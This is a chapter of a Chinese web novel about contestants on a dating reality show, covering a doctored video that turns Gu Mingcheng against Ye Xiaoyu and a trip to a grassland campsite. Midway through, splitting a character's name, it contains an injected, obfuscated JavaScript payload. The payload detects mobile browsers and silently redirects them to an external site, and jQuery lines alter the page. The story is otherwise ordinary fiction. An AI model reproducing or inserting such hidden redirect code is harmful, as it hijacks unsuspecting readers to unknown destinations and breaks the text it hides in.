几人相聚后，交换了信息情报。


    由于顾明城拍下了刘本强的交易画面，只待日后留作证据，还夏妍清白。


    “顾大哥，傅鸿生跟你有仇吗？”


    有些话叶小鱼觉得越界，张也年纪小，快人快语不招人烦。


    尽管他不知道傅氏要收购律所一事，但敏锐的直觉，让张也察觉出二人关系的异常。


    顾明城不知从何说起。


    解释他们是父子关系吧，估计没人信。一个姓傅、一个姓顾，水火不相容的气场。不知道的，还以为律坛新秀开罪了商界大佬。


    凡事讲太直白，让潜在客户顾虑太多，徒增事端，反倒不美。


    更何况，他着实痛恨那个男人，逼死了母亲顾秋桐。选择自立门户的初衷，正是为了摆脱干系，不受对方控制。


    即便大佬有通天手段，再像十几年前一样，摆弄玩具般随意左右一个人的命运，在此时此刻，已经属于不可能。


    从顾明城本心出发，他是不愿提及此事缘由的。


    好在张也虽然人小鬼大，但到底少年心性，没亲眼见识过豪门恩怨，只是自顾自推测着：“顾大哥，你要小心哦！傅氏有钱有势，花钱收买几个明星算不得什么，节目里可得跟温念念保持距离！”


    叶小鱼见状，也投来支持的目光。


    这些突如其来的关怀，让他心生暖意。多少年了？自从被迫与母亲分离，再没人这样毫无保留地站在他这边。


    .


    周末过得平安无事，叶小鱼按照约定，去了滨城的几家农产大棚直播。


    她穿梭在番茄架间，采访农民对于转色期的种植技巧，时不时回答粉丝的提问。


    张也原本兴致勃勃要跟拍，盘算着蹭波流量做自媒体。


    可跑了3个大棚后，少年就蔫了。观众全是中老年群体，跟他设想的“潮男IP”完全不搭调。


    “算了算了。”他瘫在地里摆手，“你这边网友我承接不住。不知道你哪儿来的劲头，非得揽不结工钱的瓷器活儿。”


    叶小鱼假装嫌弃，随后笑着扔给他个西红柿：“尝尝，补充点体力。”


    “对了，顾大哥没跟你一起啊？”张也啃着西红柿问。


    叶小鱼掸了掸裤腿上的泥土：“人家大律师，有很多委托要忙。又不是天天破案，哪能周末两天都跟咱黏糊在一块呢？”


    “啧啧。”少年突然凑近，“小鱼姐，我意思是你俩还没挑明吗？最近的恋综回放，他对你挺特别的。你没感觉吗？”


    叶小鱼瞬间满脸绯红，支支吾吾了半天：“不知道呢。我对他印象挺好的，说出来似乎没什么。只不过，按照世俗观点来看，那样的精英就该匹配……”


    “配什么配！”张也翻了个白眼，“都什么年代了还门当户对？”


    “明明都追随内心喜好，选择擅长的吃播行业了，内心却还在被条条框框束缚着。”他戳了戳叶小鱼肩膀，“勇猛的人，应该里外一致、无所畏惧！”


    “你这小屁孩，真的是……”


    小憩阶段，两人因此嬉闹起来。


    原本以为距离够远录不到，却没注意到小蜜蜂还未摘，这幕被有心之人记录下来，并剪辑曲解成另一番意思。


    .


    周一清晨，顾明城带着满身疲惫赶回海滨别墅。


    傅鸿生这老狐狸，先是安插温念念这条暗线，最近又对律所穷追猛打，着实让人心力交瘁。


    这也难怪，最近傅氏股价回落，急需跟势均力敌的对手化干戈为玉帛，老家伙的手才会伸这么长。


    原本以为只是催婚，顾明城心想，上个恋综足够应付了事。没想到傅鸿生眼里钦定的儿媳，唯有凌家女儿一人。


    事情远比想象中棘手，这让他有些烦上加烦。


    刚到别墅，屁股还没坐热，手机突然弹出条匿名链接，内容仅他可见。


    视频里，叶小鱼和张也的对话清晰可闻——


    张也一边啃西红柿，一边发问：“对了，顾大哥没跟你一起啊？他对你挺特别的，你没感觉吗？”


    “小屁孩，真的是……”叶小鱼扯了个嫌弃的表情，“人家大律师，就该匹配精英。我对他印象没什么的，世俗点挺好，不要黏糊在一块。”


    张也突然凑近：“对，什么年代都应该门当户对！”


    ……


    屏幕暗下去的瞬间，顾明城捏紧了咖啡杯。杯中美式晃了晃，像极他此刻翻涌的情绪。


    窗外，叶小鱼正哼着歌修剪月季。晨光穿过她发梢，在睫毛投下细碎的光斑。


    顾明城想起那天在忆秋公园，她捧着保温桶喝汤的模样，那么真实，那么鲜活。与所谓的“门当户对”比起来，这才是他想要的四季。


    可眼前这画面，却像场讽刺的默剧。


    为什么？突然传来一条视频，告诉他这一切都是假的？


    顾明城松开领带，整理思绪。


    ……


    董PD见人齐了，赶忙拍手，将楼上的嘉宾统统喊到客厅集合。


    “感谢各位准时出席《心动实验室》！本周我们的节目即将收官，请各位珍惜良缘，在接下来的每一天努力制造浪漫，携手浪漫，找到心动的另一半！”


    接连的丑闻让他如履薄冰，抄袭、作弊、假赛……或真或假的传言，扰得他挨了多少次批评，开播以来就没睡好觉。


    现在他只求平安收尾，剩下的事，委托给顾律师全权调查。正好顾律师是嘉宾之一，比自己拥有更前线的视角。


    “顾律师？”董PD推了推发呆的顾明城，“我们上车出发了！”


    节目组的大巴缓缓驶离别墅，开向最后一个拍摄地。


    滨城的地图，呈现海星般的延伸状。今天要去的地点，正在西北侧的某个触角上，那是位于城市边缘的草原。


    恋综的收官直播，将在草原上扎寨进行。


    白露和周子昂坐在前排，时不时交头接耳。


    受到负面评论的冲击，白露的留学咨询机构遭遇大批家长抵制，却偶尔收到些奇怪的匿名咨询，询问如何帮孩子作弊申请名校的。


    这让她心生倦意，索性将机构转让给了有意接盘的叔伯。


    节目结束后，她打算去做做义工，寻个清净。巧的是，周子昂也有同样想法。此刻，望着窗外渐近的草原，两人都感到久违的轻松。


    夏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894534|169231||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    妍独自刷着手机，嘴里骂骂咧咧的，哪个男嘉宾都不想理。


    林深、陆星野这两人，各有各的抄法；至于顾明城，要不是他跟叶小鱼去录音棚约会，根本不会有人栽赃到她头上……总而言之，给她气够呛！


    偏偏夏妍坐着怼镜头的好位置，温念念不动声色地并排落座。


    这个吸睛的绝佳位置，她绝不会拱手让人。更何况，夏妍在舆论战中节节败退，正是自己乘胜追击的好时机。


    娱乐圈的规则她太清楚了：双姝同框，必有一战。


    而这一次，夏妍手里早没了胜算。大家只会记住温念念的美貌与善良。


    与前面几位的懊悔或算计不同，林深和陆星野阴沉着脸，窝在倒数第二排。这两个因抄袭翻车的男嘉宾，浑身上下都散发着低气压。


    他们脸上的表情，除了黑，就是臭。


    抄袭固然不对，但他俩的思维显然停留在另一层面——真他妈倒霉，居然被发现了！要价不菲的赔偿金，应该从哪里出？怎么跟投资方交代？粉丝们脱粉了怎么办？


    ……


    越想越恼火，一切的源头，似乎都怪那个该死的叶小鱼！


    “始作俑者”叶小鱼，对此浑然不知。


    她悄悄挪到顾明城身边：“要不休息会儿？你脸色不太好……”


    车窗外的树影掠过，抽象得好比那些真假难辨的谎言。


    顾明城望向她担忧的眼睛。


    这双眼里的关切，会是演出来的吗？还是说，其中另有隐情呢？


    他思绪没整理好，动了动嘴唇，假装合眼睡去。


    ……


    不知过了多久，节目组招呼众人下车，自主安营扎寨。这次每人分到独立的小帐篷，不再按成绩或性别分组。


    天色尚早，户外经验丰富的白露，动作利索地整理完自己的区域，转身就去帮助周子昂。


    夏妍和温念念却站在原地不动，似乎不愿自己动手。


    她俩又是求助林深，又是搭话陆星野。


    面对这两位先后疏远自己、中止店铺合作的女嘉宾，林深冷着脸躲开，谁都不想帮，于是一个人选了个偏僻的角落安营扎寨。


    “小肚鸡肠的，算什么男人！”夏妍软声软气地撒了会娇，见毫无效果，立马原形毕露，对不远处的林深破口大骂。


    可惜对方软硬不吃，铁了心谁都不理。


    温念念眼珠一转，凑到陆星野耳边低语几句。


    不知她拿什么感化了陆星野，他神色有些松动。没过多久，就帮温念念支起了帐篷。


    “一个二个的，什么也不是！”


    夏妍见没人肯帮她，有些气急败坏。


    她真不想干粗活儿，碰坏美甲不好修补。可是不赶紧支好帐篷，晚上根本没法睡，这荒郊野地的，必须有个基础庇护所。


    夏妍环顾四周，目光落在顾明城身上。


    “顾律师～”她拖着甜腻的尾音凑近，“你手脚也够利索的呀，真厉害！能好心帮帮我，搭个帐篷吗？”


    顾明城手上动作一顿，本要拒绝，却想到确实有调查细节需要问她。


    于是，就默不作声地点头答应了。